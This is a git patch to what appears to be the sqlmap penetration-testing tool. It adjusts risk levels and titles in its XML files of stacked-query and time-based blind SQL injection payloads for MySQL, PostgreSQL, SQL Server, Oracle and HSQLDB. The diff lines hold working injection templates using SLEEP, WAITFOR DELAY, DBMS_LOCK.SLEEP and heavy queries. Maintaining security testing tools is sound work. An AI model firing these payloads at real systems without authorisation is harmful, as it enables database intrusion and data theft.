From 3b3205c53253e8b217acad9b6178fc852b6ba49a Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 20 Feb 2015 15:44:06 +0000 Subject: [PATCH] Minor stacked queries and time-based payloads cleanup - issue #1169 --- xml/payloads/04_stacked_queries.xml | 22 ++++++++--------- xml/payloads/05_time_blind.xml | 37 +++++++++++++++-------------- 2 files changed, 30 insertions(+), 29 deletions(-) diff --git a/xml/payloads/04_stacked_queries.xml b/xml/payloads/04_stacked_queries.xml index 77641a9a9..3c5a41869 100644 --- a/xml/payloads/04_stacked_queries.xml +++ b/xml/payloads/04_stacked_queries.xml @@ -6,7 +6,7 @@ MySQL > 5.0.11 stacked queries (SELECT) 4 2 - 0 + 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -26,7 +26,7 @@ MySQL > 5.0.11 stacked queries (SELECT - comment) 4 4 - 0 + 1 0 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -47,7 +47,7 @@ MySQL > 5.0.11 stacked queries 4 1 - 0 + 1 0 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -88,7 +88,7 @@ PostgreSQL > 8.1 stacked queries 4 1 - 0 + 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -129,7 +129,7 @@ PostgreSQL < 8.2 stacked queries (Glibc) 4 4 - 0 + 1 0 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -151,7 +151,7 @@ Microsoft SQL Server/Sybase stacked queries 4 1 - 0 + 1 0 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -173,7 +173,7 @@ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) 4 5 - 0 + 1 0 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL @@ -213,7 +213,7 @@ Oracle stacked queries (DBMS_LOCK.SLEEP) 4 5 - 0 + 1 0 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END @@ -233,7 +233,7 @@ Oracle stacked queries (USER_LOCK.SLEEP) 4 5 - 0 + 1 0 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END @@ -295,7 +295,7 @@ HSQLDB >= 1.7.2 stacked queries 4 3 - 0 + 1 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END @@ -316,7 +316,7 @@ HSQLDB >= 2.0 stacked queries 4 4 - 0 + 1 0 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END diff --git a/xml/payloads/05_time_blind.xml b/xml/payloads/05_time_blind.xml index 1d3ba16df..e8d90e26d 100644 --- a/xml/payloads/05_time_blind.xml +++ b/xml/payloads/05_time_blind.xml @@ -207,7 +207,7 @@ Microsoft SQL Server/Sybase time-based blind 5 1 - 0 + 1 0 1 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -931,12 +931,13 @@ - + + - MySQL >= 5.1 time-based blind - PROCEDURE ANALYSE (EXTRACTVALUE) + MySQL >= 5.1 heavy-query time-based blind - PROCEDURE ANALYSE (EXTRACTVALUE) 5 3 - 1 + 2 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) @@ -951,7 +952,7 @@ > 5.0.11 - + @@ -1177,7 +1178,7 @@ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 3 - 0 + 1 1,3 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; @@ -1351,9 +1352,9 @@ - + - MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses + MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clause 5 3 1 @@ -1373,7 +1374,7 @@ - MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clauses (heavy query) + MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clause (heavy query) 5 4 2 @@ -1392,7 +1393,7 @@ - PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses + PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clause 5 3 1 @@ -1412,7 +1413,7 @@ - PostgreSQL time-based blind - GROUP BY and ORDER BY clauses (heavy query) + PostgreSQL time-based blind - GROUP BY and ORDER BY clause (heavy query) 5 4 2 @@ -1431,7 +1432,7 @@ - Microsoft SQL Server/Sybase time-based blind - ORDER BY clauses + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause 5 3 1 @@ -1473,10 +1474,10 @@ - Oracle time-based blind - GROUP BY and ORDER BY clauses (DBMS_LOCK.SLEEP) + Oracle time-based blind - GROUP BY and ORDER BY clause (DBMS_LOCK.SLEEP) 5 3 - 0 + 1 2,3 1 ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) @@ -1492,7 +1493,7 @@ - Oracle time-based blind - GROUP BY and ORDER BY clauses (DBMS_PIPE.RECEIVE_MESSAGE) + Oracle time-based blind - GROUP BY and ORDER BY clause (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 @@ -1511,7 +1512,7 @@ - Oracle time-based blind - GROUP BY and ORDER BY clauses (heavy query) + Oracle time-based blind - GROUP BY and ORDER BY clause (heavy query) 5 4 2 @@ -1530,7 +1531,7 @@ - HSQLDB >= 1.7.2 time-based blind - GROUP BY and ORDER BY clauses (heavy query) + HSQLDB >= 1.7.2 time-based blind - GROUP BY and ORDER BY clause (heavy query) 5 4 2 @@ -1551,7 +1552,7 @@ - HSQLDB > 2.0 time-based blind - GROUP BY and ORDER BY clauses (heavy query) + HSQLDB > 2.0 time-based blind - GROUP BY and ORDER BY clause (heavy query) 5 4 2